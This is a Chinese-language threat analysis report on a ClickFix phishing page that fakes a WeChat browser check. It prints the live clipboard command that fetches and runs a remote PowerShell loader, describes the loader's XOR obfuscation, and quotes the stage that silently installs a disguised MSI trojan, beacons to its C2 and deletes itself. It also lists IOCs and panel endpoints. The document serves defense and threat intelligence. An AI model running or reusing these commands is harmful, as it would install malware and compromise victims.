红队攻防测试报告 — wechat-e.cfd
测试对象：
https://wechat-e.cfd/Ce1SeY
测试类型：被动侦察 + 溯源 + 恶意载荷静态分析
结论：该站点是一个 ClickFix 式「假微信浏览器验证」钓鱼投放页，诱导受害者执行 PowerShell 命令，静默安装伪装成 OneDriveSetup 的 MSI（RAT/窃密木马）。
一、溯源（主机 / 基础设施）
1.1 wechat-e.cfd（钓鱼落地页）
| 项目 | 值 |
|---|---|
| A 记录 | 104.21.6.167、172.67.135.10（Cloudflare 泛播） |
| AAAA | 2606:4700:3033::6815:6a7、2606:4700:3031::ac43:870a |
| NS | brian.ns.cloudflare.com、samara.ns.cloudflare.com |
| SOA | dns.cloudflare.com |
| 边缘节点 | CF-RAY: ...-HKG（香港） |
| Server | cloudflare（源站指纹被剥除） |
| cf-cache-status | DYNAMIC（动态后端） |
| cfOrigin;dur | 2261ms（源站响应偏慢，疑似低配 VPS / PHP 后端） |
| CT 证书透明度 | 无记录（新注册域名 / DNS-01 验证） |
结论：真实源站 IP 被 Cloudflare 隐藏，需通过历史 DNS / 证书旁站 / 源站绕过手段进一步挖掘。
1.2 t-trustresnew.com（恶意载荷投递 + C2）
| 项目 | 值 |
|---|---|
| A 记录 | 172.67.182.117、104.21.59.190（Cloudflare 泛播） |
| NS | porter.ns.cloudflare.com、nucum.ns.cloudflare.com |
根路径 / | 404（仅托管载荷目录，无公开站点） |
| Server | cloudflare |
二、攻击链（完整还原）
[1] 受害者点击推广链接 → 假「微信浏览器验证」页面 ↓ 诱导点击「通过验证 / Пройти проверку」[2] 弹出「Windows 四步操作指南」（Win+X → 终端/PowerShell → Ctrl+V → Enter） ↓ 页面把恶意命令写入剪贴板 (window.COPY_TEXT)[3] 受害者粘贴并回车执行： (irm 'https://t-trustresnew.com/hex/85tttd2w2c')|iex ↓[4] Stage2：下载混淆 PowerShell（多段十六进制 + 倒序 + XOR 解码） ↓ 解码后执行 Stage3[5] Stage3： 写 %USERPROFILE%\Downloads\<rand>msi.ps1 BITS 下载 OneDriveSetup<10-99>.msi（5238784 字节） msiexec /i ... /qn /norestart 静默安装 GET beacon: .../api?...&event=launch_ok（上线回传） 自删除
2.1 恶意剪贴板命令（页面内联脚本明文）
(irm 'https://t-trustresnew.com/hex/85tttd2w2c')|iex
来源：window.COPY_TEXT = atob("KGlybSAnaHR0cHM6Ly90LXRydXN0cmVzbmV3LmNvbS9oZXgvODV0dHRkMncyYycpfGlleA==")
2.2 Stage2 混淆方案
$ywx45kz = 'd7b904' # XOR 密钥$wsqh7ds = $qthd + $dtui + $ua2 + $pwhm # 拼接 4 段十六进制 1) 以 2 字符为块整体倒序 2) 每字节 hex→byte，与密钥逐位 XOR 3) 结果 | iex
2.3 Stage3 核心逻辑（已解码，见交付文件）
$outPath = ...Downloads\OneDriveSetup<10-99>.msi$_us = @('https://t-trustresnew.com/p?t=f6b793896e7c')$need = 5238784 # 精确校验下载字节数Start-BitsTransfer ... # 下载msiexec /i $outPath /qn /norestart # 静默安装# 上线回传：GET https://t-trustresnew.com/85tttd2w2c/api?t=7fffd468fa5a2337ae5ddd08683ed2d60134fec4&track=1&event=launch_okRemove-Item $PSCommandPath -Force # 自删除
三、IOC 清单（可直接写入威胁情报）
域名
- •
wechat-e.cfd - •
t-trustresnew.com
URL
- •
https://t-trustresnew.com/hex/85tttd2w2c（Stage2 加载器） - •
https://t-trustresnew.com/p?t=f6b793896e7c（Stage3 MSI，5238784 字节） - •
https://t-trustresnew.com/85tttd2w2c/api?t=7fffd468fa5a2337ae5ddd08683ed2d60134fec4&track=1&event=launch_ok（beacon）
文件
- •
%USERPROFILE%\Downloads\OneDriveSetup<10-99>.msi（OLE2/MSI，魔数D0 CF 11 E0 A1 B1 1A E1） - •
%USERPROFILE%\Downloads\<rand>msi.ps1（投递脚本）
追踪令牌
- •
t=f6b793896e7c（下载事件） - •
t=7fffd468fa5a2337ae5ddd08683ed2d60134fec4（launch_ok 事件）
行为特征（EDR/AV 检测点）
- • PowerShell 执行
irm <url> | iex - •
Start-BitsTransfer下载精确字节数文件后msiexec /qn /norestart - • 下载文件名
OneDriveSetup<数字>.msi且为 MSI 魔数 - • 访问
/api?...&track=1&event=launch_ok外联
四、可复用 PoC / 攻击面
4.1 面板后端接口（wechat-e.cfd）
| 接口 | 方法 | 响应 | 说明 |
|---|---|---|---|
?action=check_status | POST | {"status":"waiting"} | 会话状态机（受害者状态轮询） |
?action=update_ip&session_ip=&real_ip= | GET | {"ok":false,"error":"invalid"} | IP 回传，需合法 session 令牌 |
- • 无 Cookie 会话；
<div id="__d" data-s="...">中data-s为服务端注入的访客 IP（本次为出口 IP112.120.90.203）。 - •
panel-bootstrap.js逻辑：data-s若为合法会话令牌（非 IP），前端会调用ipify/icanhazip/my-ip.io取真实 IP 并回传update_ip。
潜在 PoC 点：
4.2 投递基础设施（t-trustresnew.com）
| 端点 | 状态 | 可复用性 |
|---|---|---|
/hex/85tttd2w2c | 200, text/plain | 加载器（campaign 专属） |
/p?t=f6b793896e7c | 200, 5238784B, octet-stream | 载荷下载（无鉴权，任何人可下载） |
/85tttd2w2c/api?... | 200, JSON | beacon（无鉴权 GET） |
潜在 PoC 点：
五、攻击面定位与后续建议
- • 真实源站 IP 挖掘：SecurityTrails 历史 DNS、Censys/Shodan 证书指纹与 favicon hash、
/cdn-cgi/trace、Cloudflare 源站绕过（历史 IP / 邮件 SPF / 旁站 C 段）。 - • 载荷深入分析：对
OneDriveSetup*.msi做静态分析（LessMsii / msiexec 解包 / orca），提取内嵌 PE、C2 域名、持久化方式（计划任务/注册表 Run 键/服务）。 - • 关联拓线：以
t=令牌、域名注册邮箱、Cloudflare 账户、wechat-e.cfd与t-trustresnew.com共用的基础设施做家族关联，追查同源 ClickFix 面板。
交付文件
- •
ioc_payload_stage2_obfuscated.ps1— Stage2 原始混淆载荷 - •
ioc_payload_stage3_decoded.ps1— Stage3 解码后的最终投递脚本
